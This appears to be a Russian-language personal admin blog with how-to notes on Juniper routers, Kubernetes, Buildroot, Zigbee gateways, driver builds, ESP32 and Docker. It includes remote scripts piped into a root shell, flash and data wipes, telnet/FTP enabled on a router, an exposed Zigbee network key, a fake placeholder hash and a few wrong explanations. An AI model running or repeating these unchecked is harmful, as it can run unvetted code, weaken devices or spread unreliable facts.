Рубрики
Juniper

juniper / junos / mx80

Ссылки:

# https://www.juniper.net/documentation/us/en/software/junos/junos-getting-started/topics/task/remote-access.html
# https://disnetern.ru/start-configuration-juniper-junos/

Настройка интерфейса управления:

configure - включаем режим конфигурирования
edit interfaces fxp0 - редактируем интерфейс fxp0 (
delete set unit 0 family inet address 192.168.16.165/24 - удалить адрес 
set unit 0 family inet address 192.168.16.161/24 - установить адрес
commit - сохранить настройку

Пинг/ping:

run ping 192.168.0.1

Пользователи:

0. Включаем режим настройки:
configure

1. Добавляем пользователя username:
edit system login user username

2. (Необязательно) Задайте описательное имя для учётной записи.
Если имя содержит пробелы, заключите его в кавычки.
set full-name complete-name

3. Показать группы:
show groups

4. (Необязательно) Задайте идентификатор пользователя (UID) для учётной записи.
Как и в системах UNIX, UID определяет права доступа пользователя и доступ к файлам. 
Если вы не укажете UID, программа назначит его автоматически. Формат UID — число от 100 до 64 000.
edit groups global system login user user-name
set uid uid-value

5. Назначьте пользователю класс входа.
Вы можете определить собственные классы входа или назначить один из предопределенных.
Предопределенные классы входа:
super-user - все разрешения
operator - разрешения на очистку, управление сетью, сброс, трассировку и просмотр
read-only - разрешения на просмотр
unauthorized - без разрешений

edit groups global system login user user-name
set class class-name
show groups

6. Установка пароля (не безопасно пароль открытым текстом):
edit groups global system login user user-name
set authentication plain-text-password

7. Установка пароля (пароль зашифрован)
edit groups global system login user user-name
set authentication encrypted-password "password"


8. По ключу для SSH
edit groups global system login user user-name
set authentication (ssh-ecdsa | ssh-ed25519 | ssh-rsa) authorized-key

9. На верхнем уровне конфигурации примените группу конфигурации.
Если вы используете группу конфигурации, необходимо применить её, чтобы она вступила в силу.
edit
set apply-groups global

10. Cохранить конфиг:
commit

Имя хоста:

edit groups group-name system
host-name hostname
exit
commit

ssh/telnet/ftp/web:

0. Включаем режим настройки:
configure

1. Включаем SSH access:
set system services ssh

2. Включаем Telnet access:
set system services telnet

3. Включаем FTP:
set system services ftp

4. (Необязательно)  web-managment:
set system services web-management http interface vlan.0

4.1. (Необязательно) 
Примените группу конфигурации. 
Если вы используете группу конфигурации, её необходимо применить на верхнем уровне конфигурации, чтобы она вступила в силу:
set apply-groups global

5. Применяем и сохраняем настройку:
commit

Маршрут по умолчанию:

set routing-options static route 0/0 next-hop 1.2.3.1

DHCP-server / interface / firewall:

Собираем порты в одну сеть:
set interfaces interface-range interfaces-trust member-range ge-0/0/1 to ge-0/0/7
set interfaces interface-range interfaces-trust unit 0 family ethernet-switching vlan members vlan-trust
Настраиваем разрешения для созданной группы: 
set vlans vlan-trust vlan-id 3
set vlans vlan-trust l3-interface vlan.0


Dhcp-сервер:
set system services dhcp router 192.168.1.1
set system services dhcp pool 192.168.1.0/24 address-range low 192.168.1.2
set system services dhcp pool 192.168.1.0/24 address-range high 192.168.1.100
set system services dhcp propagate-settings vlan.0

bridge:

configure

# Очистка (если нужно)
delete bridge-domains FLAT-L2
delete interfaces irb unit 1
delete interfaces xe-0/0/1 unit 0
delete interfaces xe-0/0/2 unit 0
delete interfaces xe-0/0/3 unit 0
delete interfaces xe-1/0/0 unit 0
delete interfaces xe-1/1/0 unit 0

# Порты в бридже (access, VLAN 1)
set interfaces xe-0/0/1 unit 0 family bridge interface-mode access vlan-id 1
set interfaces xe-0/0/2 unit 0 family bridge interface-mode access vlan-id 1
set interfaces xe-0/0/3 unit 0 family bridge interface-mode access vlan-id 1
set interfaces xe-1/0/0 unit 0 family bridge interface-mode access vlan-id 1
set interfaces xe-1/1/0 unit 0 family bridge interface-mode access vlan-id 1

# WAN порт (если нужно)
set interfaces xe-0/0/0 unit 0 family inet address 10.0.130.2/24

# Management порт
set interfaces fxp0 unit 0 family inet address 192.168.16.161/24

# IRB (шлюз для бриджа)
set interfaces irb unit 1 family inet address 10.0.138.1/24

# Bridge-домен
set bridge-domains FLAT-L2 domain-type bridge
set bridge-domains FLAT-L2 vlan-id 1
set bridge-domains FLAT-L2 routing-interface irb.1

# Статический маршрут по умолчанию
set routing-options static route 0.0.0.0/0 next-hop 10.0.130.1

commit

Пример очистки конфигурации:

configure
delete system syslog
delete system ddos-protection
delete interfaces xe-0/0/0
delete interfaces xe-0/0/1
delete interfaces xe-0/0/2
delete interfaces xe-0/0/3
delete interfaces xe-1/0/0
delete interfaces xe-1/1/0
delete interfaces lo0
delete routing-options
delete protocols
delete policy-options
commit

Общие команды:

show configuration - показать конфигурацию


edit - редактирования настройки

commit - сохранить настройку

commit check - проверка синтаксиса 

show | display set - используйте команду для отображения команд, используемых при создании конфигурации

rollback ? - посмотреть доступные точки восстановления
rollback 0 - вернуться на предыдущую конфигу

commit confirmed число_минут - команда примет конфиг на указанное количество минут, потом вернет все обратно
Рубрики
kubernetes

kubernetes / minikube

ссылки:

www.youtube.com/watch?v=TwyhnBDOHPw
https://minikube.sigs.k8s.io/docs/handbook/
https://helm.sh/ru/docs/intro/install/

Примеры от selectel:
https://docs.selectel.ru/managed-kubernetes/clusters/connect-to-cluster/
https://docs.selectel.ru/managed-kubernetes/networks/set-up-ingress/
https://docs.selectel.ru/managed-kubernetes/networks/set-up-ingress/?install-ingress-controller=with-configuring-loadbalancer

Задачи Kubernetes:

0. Деплоймент
1. Самовосстановление
2. Управление
3. Масштабирование
4. Баланс трафика

Не задачи kubernetes:

Хранение данных
Хранение образов (registry)
Сборка образов
Сбор журналов и метрик

Общие понятия kubernetes:

master node - сервер или вм машина - головной центр управления - центр принятия решений
worker node - сервера или машины на которых запущены приложения, которыми управляет master noda

 master                    master                    master
  |                          |                         |
   --------------------------|--------------------------
  |                          |                         |
worker                    worker                      worker


В свою очередь в master node:
kubectl 
    |
api server --|-------------> scheduler
    |        | -----> etcd
    |
controller          
  manager


api server - именно с этим сервером абсолютно все общаются (you, etcd, scheduler, controller manager, node, pode, все и все) -
etcd - это база данных, ключ значение, в этой базе хранится все значения что мы делаем с kubernetes
scheduler - планировщик, тут принимается решения что куда деплоить
controller manager - запущенный процесс, который следит за тем что бы kubernetes это сделал

kubectl - через эту программу мы общаемся с "api server" (все управление kubernetes делается через нее)

controle plane - это общее название api server + etcd + scheduler + control manager



Deployment - это yaml файл в котором мы описывает что нам требуется от kubernetes 
ReplacaSet - подымает, следит за Pod (количество экземпляров, самовосстановление, желаемое состояние и т.д.)
Pod - собственно наши приложение (doker контейнер или контейнеры)



Трафик -> ingress controller -> node ->  kube-proxy (service.yaml) / kubelet -> pod 
ingress - внешний трафик
ingress controller - чаще всего это nginx, но также это может быть и haproxy и другое похожее ПО
service.yaml - собственно управляет как подключится к pod  (настройки для kube-proxy)

Просто файлы настроек:
deployment.yaml - для вашего приложения которое выбудете запускать в kubernetes
service.yaml - файл с настройками для вашего приложения которое задает настройки для вашего приложения в kube-proxy

kubelet - программа которая отвечает за разворачивание pod

StatefulSet - это приложения, которые не живут в контейнерах, например базы данных (postgres, kafka, redis, etc..)

DaemonSet - это приложения которое будет жить на каждой nod (например fluentd - сбор логов)


minikube

https://minikube.sigs.k8s.io/docs/start/?arch=%2Flinux%2Fx86-64%2Fstable%2Fbinary+download

curl -LO https://github.com/kubernetes/minikube/releases/latest/download/minikube-linux-amd64
sudo install minikube-linux-amd64 /usr/local/bin/minikube && rm minikube-linux-amd64

minikube start - запуск kubernetes minikube
minikube dashboard - открыть дашборд minikube

kubectl

kubectl get nodes - показать доступные nod
kubectl get pods - показать запущенные pod
kubectl apply -f deployment.yaml - пример запуска приложения (в файле deployment.yaml настройки для нашего приложения для kubernetes)

Внешний kubernets:

0. Для внешних подключений к kubernetes:
export KUBECONFIG=$HOME/путь_до_конфига.yaml

1.
helm repo add ingress-nginx https://kubernetes.github.io/ingress-nginx
helm inspect values ingress-nginx/ingress-nginx > values.yaml

2. 
Фрагмент манифеста с блоком annotations:
metadata:
  name: loadbalancer-name
  labels:
    app: nginx
  annotations:
    service.beta.kubernetes.io/openstack-internal-load-balancer: "true"


3. 
helm install ingress-nginx/ingress-nginx --generate-name -f values.yaml

Примеры файлов:

0. Создаем файл dokerfile, index.html, deployment.yaml, service.yaml:
cat > dockerfile << "EOF"
FROM nginx:alpine

# Копируем простую HTML страницу
COPY index.html /usr/share/nginx/html/

EXPOSE 80
EOF

cat > index.html << "EOF"
<!DOCTYPE html>
<html>
<head>
    <title>Hello World</title>
</head>
<body>
    <h1>Hello World from Kubernetes!</h1>
    <p>This is a simple web server running in a Docker container</p>
    <p>Server: <span id="server-info">Nginx</span></p>
    <p>Port: 80</p>
</body>
</html>
EOF


cat > deployment.yaml << "EOF"
apiVersion: apps/v1
kind: Deployment
metadata:
  name: hello-world-app
  labels:
    app: hello-world
spec:
  replicas: 3
  selector:
    matchLabels:
      app: hello-world
  template:
    metadata:
      labels:
        app: hello-world
    spec:
      containers:
      - name: hello-world-container
        image: hello-world-app:latest
        ports:
        - containerPort: 80
        resources:
          requests:
            memory: "64Mi"
            cpu: "50m"
          limits:
            memory: "128Mi"
            cpu: "100m"
EOF



cat > service.yaml << "EOF"
apiVersion: v1
kind: Service
metadata:
  name: hello-world-service
spec:
  selector:
    app: hello-world
  ports:
    - protocol: TCP
      port: 8080
      targetPort: 80
  type: LoadBalancer
EOF

Запуску:
docker build -t hello-world-app:latest .
kubectl apply -f deployment.yaml
kubectl apply -f service.yaml
kubectl get pods
Рубрики
dev

ls1046ardb / buildroot

Собираем собираем:

0. Качаем и выбираем версию:
git clone https://github.com/buildroot/buildroot
cd buildroot
git tag 
git checkout 2025.08.1

1. Показать доступные и создать конфиг для нужной платформы:
make list-defconfigs  | grep ls1046
make ls1046a-rdb_defconfig 

2. Посмотреть что там можно качнуть из ядер:
git ls-remote --tags https://github.com/nxp-qoriq/linux.git | grep 6

3. Сборка и настройка
make linux-source
make linux-menuconfig
make menuconfig

#make nconfig - альтернатива menuconfig
#make xconfig - альтернатива menuconfig

P.S Иногда полезно кое что :

В поисках:
grep "BR2_LINUX_KERNEL_VERSION" .config
grep "BR2_LINUX_KERNEL_CUSTOM_VERSION" .config
В поисках ядер:
find /opt/buildroot/output/build/linux-* -name "*lsdk*" -o -name "*ls1046*" -o -name "*defconfig*" 2>/dev/null | grep 1046

# Посмотрим какие defconfig есть в скачанном ядре ( сработает после make linux-source)
ls /opt/buildroot/output/build/linux-v5.10.100/arch/arm64/configs/

Проверим, что создался правильный device tree:
ls /opt/buildroot/output/build/linux-v5.10.100/arch/arm64/boot/dts/freescale/ | grep ls1046

# В menuconfig можно указать кастомный tarball
Kernel
  -> Kernel version (Custom git repository)
  -> URL of custom kernel repository = https://github.com/nxp-qoriq/linux.git
  -> Custom kernel version = LSDK-xx.xx (или конкретный тег)

#Иногда после изменения конфига(make menuconfig) помогает:
make savedefconfig
make linux-dirclean
make

P.S По поводу хешей

# Скачаем файл и вычислим хэш
mkdir -p dl/linux
echo "sha256  8e6e5c3e5f2b5a5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c  linux-5.10.72.tar.xz" > dl/linux/linux.hash

# Скачаем файл и вычислим хэш
cd /opt/buildroot/output/build/
wget -q https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.10.72.tar.xz
sha256sum linux-5.10.72.tar.xz > /opt/buildroot/dl/linux/linux.hash

P.S включить английскую локаль

export LANG=C.UTF-8
export LC_ALL=C.UTF-8

P.S. Возможная проблема загрузки и неверная dtb:

0. Ищем источник extlinux для 1046
find /opt/buildroot -name "*extlinux*" -type f | grep 1046

1. В текущем билдрут это файл:
cat /opt/buildroot/board/freescale/ls1046a-rdb/rootfs_overlay/boot/extlinux/extlinux.conf
-----------------------------------------------------------------------------------------
label ls1046ardb-buildroot
  kernel /boot/Image
  devicetree /boot/fsl-ls1046a-rdb-sdk.dtb
  append console=ttyS0,115200 root=/dev/mmcblk0p1 earlycon=uart8250,mmio,0x21c0500 rootwait
-----------------------------------------------------------------------------------------

2. Вот пример правильной так как я менял кое что при сборке то файл dtb у меня другой:
cat /opt/buildroot/board/freescale/ls1046a-rdb/rootfs_overlay/boot/extlinux/extlinux.conf
------------------------------------------------------------
label ls1046ardb-buildroot
  kernel /boot/Image
  devicetree /boot/fsl-ls1046a-rdb.dtb
  append console=ttyS0,115200 root=/dev/mmcblk0p1 earlycon=uart8250,mmio,0x21c0500 rootwait
------------------------------------------------------------

3. Производим переcборку образа:
make target-post-image

4. Убеждаемся что все исправлено:
cat /opt/buildroot/output/target/boot/extlinux/extlinux.conf

5. Записываем sd карту:
cd output/images/
dd if=sdcard.img of=/dev/sde status=progress
sync

Важные параметры для сборки 5.10 ядра файл .config

BR2_LINUX_KERNEL=y
BR2_LINUX_KERNEL_CUSTOM_GIT=y
BR2_LINUX_KERNEL_CUSTOM_REPO_URL="https://github.com/nxp-qoriq/linux.git"
BR2_LINUX_KERNEL_CUSTOM_REPO_VERSION="v5.10.100"
BR2_LINUX_KERNEL_VERSION="v5.10.100"
BR2_LINUX_KERNEL_USE_ARCH_DEFAULT_CONFIG=y
BR2_LINUX_KERNEL_INTREE_DTS_NAME="freescale/fsl-ls1046a-rdb"
BR2_LINUX_KERNEL_NEEDS_HOST_OPENSSL=y
BR2_KERNEL_HEADERS_CUSTOM_GIT=y
BR2_KERNEL_HEADERS_CUSTOM_REPO_URL="https://github.com/nxp-qoriq/linux.git"
BR2_KERNEL_HEADERS_CUSTOM_REPO_VERSION="v5.10.100"
BR2_DEFAULT_KERNEL_HEADERS="v5.10.100"
BR2_PACKAGE_HOST_LINUX_HEADERS_CUSTOM_5_10=y
BR2_aarch64=y
BR2_cortex_a72=y
BR2_ARM_FPU_FP_ARMV8=y
BR2_TOOLCHAIN_BUILDROOT_GLIBC=y
BR2_GCC_VERSION_14_X=y
BR2_BINUTILS_VERSION_2_43_X=y
BR2_PACKAGE_FMC=n
BR2_PACKAGE_FMLIB=n

Вот сам файл .config, собрано только ядро:
doc_2025-11-19_14-35-03.config_5_10_100_no_soft

Рубрики
napi

debian / homed / zstack / home-assistant

links:

https://wiki.homed.dev/
https://wiki.homed.dev/zigbee/
http://wiki.homed.dev/web/

Debian 13 install

0. Ставим пакеты (нужны были в процессе установки):
apt update
apt install vim tmux wget htop lm-sensors
apt install -y mosquitto mosquitto-clients

1. Добавляем репозиторий homed (делаю все от root)
wget -O /etc/apt/trusted.gpg.d/debian-homed.asc https://apt.homed.dev/apt.key
echo "deb https://apt.homed.dev/ debian main" | tee /etc/apt/sources.list.d/homed.list
apt update

2. Ставлю homed-zigbee, hommed-web
apt install homed-zigbee homed-web

3. Редактируем конфиг
cat > /etc/homed/homed-zigbee.conf << "EOF"
[log]
enabled=false
file=/var/log/homed.log

[mqtt]
host=localhost
port=1883
username=
password=
prefix=homed
instance=
names=false
debounce=true

[homeassistant]
enabled=false
prefix=homeassistant
status=homeassistant/status

[default]
discovery=true
cloud=true

[device]
database=/opt/homed-zigbee/database.json
properties=/opt/homed-zigbee/properties.json
options=/opt/homed-zigbee/options.json
ota=/opt/homed-zigbee/ota
external=/opt/homed-zigbee/external
library=/usr/share/homed-zigbee
expose=/usr/share/homed-common/expose.json

[gpio]
status=-1
blink=-1
boot=-1
reset=-1

[zigbee]
adapter=znp
port=/dev/ttyACM0
baudrate=115200
panid=0x076a
channel=12
reset=soft
write=true

[security]
key=0x2f9bf5a0967b4f04d7751f122db86350

[debug]
port=false
adapter=false
zigbee=false
EOF


Рубрики
orangepi

orangepi cm4 / make driver peraso

Links:

# https://perasoinc.com/perspectus-series/
# http://www.orangepi.org/orangepiwiki/index.php/Orange_Pi_CM4
# https://device.report/manual/7926893

Собственно где брать heders-linux debian bookworm:

0.Пере установкой хедеров убедимся что все пакеты для сборки стоят:
apt update
apt upgrade -y 
apt install git make gcc linux-libc-dev pkg-config libncurses-dev flex bison  libssl-dev libelf-dev dwarves rsync bc fakeroot build-essential  xz-utils  libncurses5-dev
apt install gcc-arm-linux-gnueabihf
#apt install linux-headers-amd64 #для x86
apt install build-essential pkg-config libnl-3-dev libnl-genl-3-dev
# apt install hostapd wpasupplicant

1. Из документации по orangepi хедеры на текущее ядро лежат в каталоге /opt
Проверив этот каталог мы увидим deb файл, который просто нужно доставить в систему:
dpkg -i /opt/linux-headers-legacy-rockchip-rk356x_1.x.x_arm64.deb

2. После установки у нас появятся в каталоге /usr/src хедеры ядра
ls /usr/src

Так же из документации orangepi есть пример как собирать костюмный модуль ядра:

## Офф топ для общего развития. 
#0. Создаем код модуля ядра
cat >  hello.c << "EOF"
#include 
#include 

static int hello_init(void)
{
printk("Hello Orange Pi -- init\n");
return 0;
}
static void hello_exit(void)
{
printk("Hello Orange Pi -- exit\n");
return;
}

module_init(hello_init);
module_exit(hello_exit);
MODULE_LICENSE("GPL");
EOF

#1. Создаем Makefaile для сборки модуля
cat > Makefile << "EOF"
ifneq ($(KERNELRELEASE),)
obj-m:=hello.o
else
KDIR :=/lib/modules/$(shell uname -r)/build
PWD :=$(shell pwd)
all:
make -C $(KDIR) M=$(PWD) modules
clean:
rm -f *.ko *.o *.mod.o *.mod *.symvers *.cmd *.mod.c *.order
endif
EOF


#2. Собираем
make V=1

#3. Проверяем что собралось
ls *.ko

#4. Загружаем модуль ядра (вообще лучше такое делать через modprobe вместо ismod)
insmod hello.ko

#5. Проверяем что наш модуль загрузился
dmesg | grep "Hello"

#6. Выгружаем модуль ядра
rmmod hello

Сборка peraso

# Для потомков 
# root@peraso1:/opt/13.3.328/src/drivers/net/wireless/prs# uname -a
# Linux peraso1 5.10.160-rockchip-rk356x #1.0.6 SMP Mon May 27 17:03:18 CST 2024 aarch64 GNU/Linux
# root@peraso1:/opt/13.3.328/src/drivers/net/wireless/prs# lsusb
# Bus 006 Device 002: ID 2932:0720 Peraso Technologies Inc. Peraso PRS460


0. Переходим в каталог с Makefile
cd /opt/13.3.328/src/drivers/net/wireless/prs

1. Собираем модуль 
make -C /lib/modules/5.10.160-rockchip-rk356x/build M=$PWD CONFIG_PRS_FALCON=m modules V=1
#make -C /lib/modules/$(uname -r)/build M=$PWD CONFIG_PRS_FALCON=m modules V=1

2. Пробуем подгрузить собравшийся модуль:
insmod prs_falcon.ko 

3. Проверяем 
lsmod | grep prs_falcon
dmesg | grep prs_falcon 

4. Если все ок и ошибок в третьем пункте нет, продолжаем:
4.1 Копируем модуля ядра в каталок к модулям текущего ядра:
cp prs_falcon.ko /lib/modules/$(uname -r)/kernel/drivers/net/wireless/
4.2 Обновляем зависимости
depmod -a
4.3 Пробуем загрузить:
modprobe prs_falcon

5. Проверяем сделанное:
lsmod | grep prs
dmesg | tail -20

Запуск точки доступа и клиента:

Клиент Client:
wpa_supplicant -D nl80211  -i wlan0 -c /etc/wpa_supplicant.conf -B
wpa_supplicant -Dnl80211 -iwlan0 -c wpa.conf
wpa_supplicant -Dwext -iwlx20cec40343d9 -c wpa_suplicant.conf 

Точка доступа AP:
hostapd -B /etc/hostapd.conf
hostapd -dddd -g /var/run/hostapd/global hostapd.conf



Пример конфига hostapd:
cat > hostapd.conf << EOF
driver=nl80211
interface=wlx20cec40343d9
ssid=clear-link
channel=2
hw_mode=ad
country_code=US
ctrl_interface=/var/run/hostapd
ctrl_interface_group=0
EOF


Пример конфига wpa_supplicant:
cat > wpa_suplicant.conf << "EOF"
ctrl_interface=/var/run/wpa_supplicant 
network={ 
  ssid="clear-link" 
  frequency=60480
  scan_ssid=1 
  key_mgmt=NONE 
}
EOF



Тест:
wpa_supplicant -Dnl80211 -iwlx20cec40343da -c wpa_suplicant.conf 
hostapd -dddd -g /var/run/hostapd/global hostapd.conf

Install peraso driver for debian 11 X86

#debian 11
#root@peraso4:/# uname -a
#Linux peraso4 5.10.0-36-amd64 #1 SMP Debian 5.10.244-1 (2025-09-29) x86_64 GNU/Linux


apt update
apt install git make gcc linux-libc-dev linux-headers-amd64 pkg-config libncurses-dev flex bison  libssl-dev libelf-dev dwarves rsync bc fakeroot build-essential
apt install  pkg-config bc fakeroot xz-utils libncurses5-dev build-essential
apt install linux-headers-amd64
apt install tmux iperf3 tcpdump mc
apt install hostapd

cd /opt/
tar -xvf src_peraso_13.3.328.tgz
mv src peraso_13.3.328
cd /opt/peraso_13.3.328/drivers/net/wireless/prs/
make -C /lib/modules//$(uname -r)/build M=$PWD CONFIG_PRS_FALCON=m modules V=1
#mkdir -p /lib/modules/$(uname -r)/kernel/drivers/net/wireless/
cp prs_falcon.ko /lib/modules/$(uname -r)/kernel/drivers/net/wireless/
depmod -a




#script
INTERFACE=""
HOSTNAME_INTERGER=""

INTERFACE=$(ip a | grep wlx | awk '{print $2}' | tr -d ':')

HOSTNAME_INTERGER=$(hostname | tr -d peraso)

set_face=${INTERFACE}
set_ip="10.0.0.${HOSTNAME_INTERGER}/24"

cat > supl.txt << EOF
#!/bin/bash
ip a flush dev  ${set_face}
ip a a ${set_ip} dev ${set_face}
wpa_supplicant -Dnl80211 -i${set_face} -c wpa_suplicant.conf
#hostapd -dddd -g /var/run/hostapd/global hostapd.conf
EOF



cat > hostapd.conf << EOF
driver=nl80211
interface=${set_face}
ssid=clear-link
channel=3
hw_mode=ad
country_code=US
beacon_int=100
ctrl_interface=/var/run/hostapd
ctrl_interface_group=0
EOF




cat > wpa_suplicant.conf << "EOF"
ctrl_interface=/var/run/wpa_supplicant
network={
  ssid="clear-link"
  frequency=60480
  scan_ssid=1
  key_mgmt=NONE
}
EOF

uapi/linux

# Создаем директорию uapi/linux если нужно
mkdir -p /usr/include/uapi/linux

# Создаем симлинк на существующий stddef.h
ln -sf /usr/include/linux/stddef.h /usr/include/uapi/linux/stddef.h

# Проверим что создалось
ls -la /usr/include/uapi/linux/stddef.h
Рубрики
napi

rkdevtool / debian / install

Link:

https://github.com/rockchip-linux/rkdeveloptool

Install

0. Ставим пакеты:
apt install git libudev-dev libusb-1.0-0-dev dh-autoreconf
 
# На случай ошибки при configure с libusb, нужно доставить эти пакеты:
apt install pkg-config libusb-1.0

1. Качаем дистрибутив rkdevtool
cd /opt
git clone https://github.com/rockchip-linux/rkdeveloptool

2. Входим в каталог 
cd  /opt/rkdeveloptool

3. Выполняем:
./autogen.sh

4. Выполняем:
./configure

!!!  если все успешно то у вас появится Makefile

5. Производим сборку 
make

6. Производим установку в систему:
make install 

Основные команды:

rkdevtool ld - показать устройства в maskrom
rkdevtool db name_boot_loder - загрузка загрузчика (мелкий файл)
rkdevtool wl 0 name_image - загрузка образа системы (большой файл)

Пустой образ или затереть nand:

создаем образ пустой
dd if=/dev/zero cont=500 bs=1M of=zero.img
rkdevtool db грузим_загручик
записываем пустышку
rkdevtool wl 0 zero.img 
Рубрики
esp

esp32-cam-mb / esp32-cam

Link:

https://github.com/espressif/esp-idf/tree/02c5f2db/examples
https://github.com/espressif/esp32-camera
https://www.ozon.ru/product/esp32-cam-mb-micro-usb-esp32-s-posledovatelnym-podklyucheniem-k-wi-fi-plata-cam-sovmestima-bluetooth-1781037428/
https://github.com/ESP32Tutorials/ESP32-CAM-ESP-IDF-Live-Streaming-Web-Server
ESP32-CAM ESP-IDF Live Streaming Web Server

edit:

idf.py add-dependency "espressif/esp32-camera"
Рубрики
esp

esp / esp32 / esp-idf

Links:

https://idf.espressif.com/
https://components.espressif.com/ - регистр с кучей примеров кода 


https://www.espressif.com/en/support/documents/technical-documents - техническая документация 
https://www.espressif.com/en/support/documents/technical-documents?keys=&field_type_tid%5B%5D=842

https://github.com/espressif/esp-idf/tree/02c5f2db/examples - примеры проектов
https://github.com/espressif/esp-idf/releases/tag/v5.4.1
https://docs.espressif.com/projects/esp-dev-kits/en/latest/esp32/esp32-devkitc/index.html
https://docs.espressif.com/projects/esp-idf/en/v5.4.1/esp32/get-started/index.html
https://www.espressif.com/en/support/download/sdks-demos
https://docs.espressif.com/projects/esp-idf/en/v5.5/esp32s3/get-started/linux-macos-setup.html#get-started-linux-macos-first-steps

https://www.espressif.com/en/sdks/esp-zephyr
https://docs.zephyrproject.org/latest/boards/raspberrypi/rpi_4b/doc/index.html

https://github.com/espressif/esp-bsp/tree/master/examples

0. install package:

Ubuntu and Debian:
sudo apt-get install git wget flex bison gperf python3 python3-pip python3-venv cmake ninja-build ccache libffi-dev libssl-dev dfu-util libusb-1.0-0

CentOS 7 & 8:
CentOS 7 is still supported but CentOS version 8 is recommended for a better user experience.
sudo yum -y update && sudo yum install git wget flex bison gperf python3 cmake ninja-build ccache dfu-util libusbx


Arch:
sudo pacman -S --needed gcc git make flex bison gperf python cmake ninja ccache dfu-util libusb

Installing Python 3:
> Python 2.7.17
python3 --version

2. Скачаем ESP-IDF:

cd /opt
sudo git clone -b v5.4.1 --recursive https://github.com/espressif/esp-idf.git

3. Set up the Tools:

Тут можно уже поставить под конкретную esp:
cd /opt/esp-idf
./install.sh esp32
./install.fish esp32,esp32s2

Или поставить все:
cd /opt/esp-idf
./install.sh all

4. Настройка окружения и первый пример с hellow_world:

0. Создаем каталог ESP:
mkdir ESP
cd ESP
1. Активируем окружение:
. /opt/esp-idf/export.sh

2. Пример hello_world:
cp -r $IDF_PATH/examples/get-started/hello_world .
cd ~/esp/hello_world
idf.py set-target esp32
idf.py menuconfig

6. Сборка проекта:

idf.py build

7. Прошивка устройства / Flash onto the Device

idf.py -p PORT flash
idf.py -p PORT flash monitor

8. Debug с прошивкой


 idf.py -p  monitor
Рубрики
napi

zigbee2mqtt / napi / arbian

Link:

https://www.zigbee2mqtt.io/
https://www.zigbee2mqtt.io/guide/installation/01_linux.html
https://docs.jethome.ru/ru/controllers/linux/howto/zigbee2mqtt.html

Setup:

# Ставлю под рутом ^_^

0. Ставим пакеты:
apt-get install -y curl
curl -fsSL https://deb.nodesource.com/setup_lts.x | sudo -E bash -
apt-get install -y nodejs git make g++ gcc libsystemd-dev tmux
apt install -y mosquitto mosquitto-clients
corepack enable

1. Создадим каталог
mkdir /opt/zigbee2mqtt

2. На случай если ставили не от рута нужно дать права на каталог
sudo chown -R ${USER}: /opt/zigbee2mqtt

3. Скачиваем гит в каталог
git clone --depth 1 https://github.com/Koenkk/zigbee2mqtt.git /opt/zigbee2mqtt

4. Переходим в каталог:
cd /opt/zigbee2mqtt

5. Запустим tmux и продолжим сборку в нем:
tmux

6. Собираем приложение:
pnpm install --frozen-lockfile

6.1 !!! Вот тут могут возникнуть проблемы, если у вас мало оперативки скорее всего сборка зависнет, запустим в один поток сборку
pnpm install --frozen-lockfile --child-concurrency=1

7. После сборки выполняем запуск: 
cd /opt/zigbee2mqtt
pnpm start

Пример сервиса:

cat > /etc/systemd/system/zigbee2mqtt.service << "EOF"
[Unit]
Description=zigbee2mqtt
After=network.target

[Service]
Environment=NODE_ENV=production
Type=simple
ExecStart=/usr/bin/pnpm start
WorkingDirectory=/opt/zigbee2mqtt
StandardOutput=inherit
StandardError=inherit
Restart=always
RestartSec=10


[Install]
WantedBy=multi-user.target
EOF


systemctl daemon-reload
systemctl enable zigbee2mqtt.service
systemctl start zigbee2mqtt.service
systemctl status zigbee2mqtt.service
journalctl -u zigbee2mqtt.service -f

Update Zigbee2MQTT to the latest version

cd /opt/zigbee2mqtt
./update.sh
Рубрики
orangepi

home-assistant / orangepi cm4 / debian 12 / container

Links:

http://www.orangepi.org/orangepiwiki/index.php/Orange_Pi_CM4 - инструкции
http://www.orangepi.org/html/hardWare/computerAndMicrocontrollers/service-and-support/Orange-Pi-CM4-1.html - инструкции
https://drive.google.com/drive/folders/1MJl-pIU2I7EHDN6rlirumVkBOz7utvyE - другие образы 
https://drive.google.com/file/d/1v7q46pRilxLxOvBu_dz5CscEU7ifb9mS/view?usp=drive_link  - образ диска дебиана
https://drive.google.com/drive/folders/1m3pEc9Oib9JYOaiHP2TUx89Qq5Zd-tT6 - различные ультелиты
https://drive.google.com/file/d/1dAaW_FetnrKWsNU8HrOoYkZBOh0q8WNJ/view?usp=drive_link - пре загрузчик для devrktool

https://www.home-assistant.io/installation/#about-installation-methods
https://www.home-assistant.io/installation/raspberrypi/

https://www.home-assistant.io/installation/raspberrypi-other
https://www.home-assistant.io/installation/raspberrypi/
https://www.home-assistant.io/installation/linux
https://www.home-assistant.io/installation/alternative

https://github.com/NabuCasa/buildroot-installer/releases
https://github.com/home-assistant/buildroot
https://github.com/home-assistant/operating-system/releases/download/16.1/haos_rpi4-64-16.1.img.xz

https://developers.home-assistant.io/docs/operating-system/getting-started

https://docs.docker.com/compose/install/linux/
https://docs.docker.com/engine/install/debian/#install-using-the-repository
https://docs.docker.com/engine/install/debian/#install-using-the-repository

Install:

apt-get update
apt-get install docker-compose-plugin

docker compose version

Install Docker from repo docker:

sudo apt-get update
sudo apt-get install ca-certificates curl
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/debian/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc

# Add the repository to Apt sources:
echo \
  "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/debian \
  $(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt-get update

sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin

sudo docker run hello-world

Install docker from docker get:

curl -fsSL https://get.docker.com -o get-docker.sh
sudo sh get-docker.sh

Uninstall Docker Engine:

sudo apt-get purge docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin docker-ce-rootless-extras
sudo rm -rf /var/lib/docker
sudo rm -rf /var/lib/containerd
sudo rm /etc/apt/sources.list.d/docker.list
sudo rm /etc/apt/keyrings/docker.asc

install home-assist:

https://www.home-assistant.io/installation/odroid

apt-get install docker-compose-plugin

cd /opt
mkdir home-assistant
cd home-assistant
cat > compose.yaml << "EOF"
services:
  homeassistant:
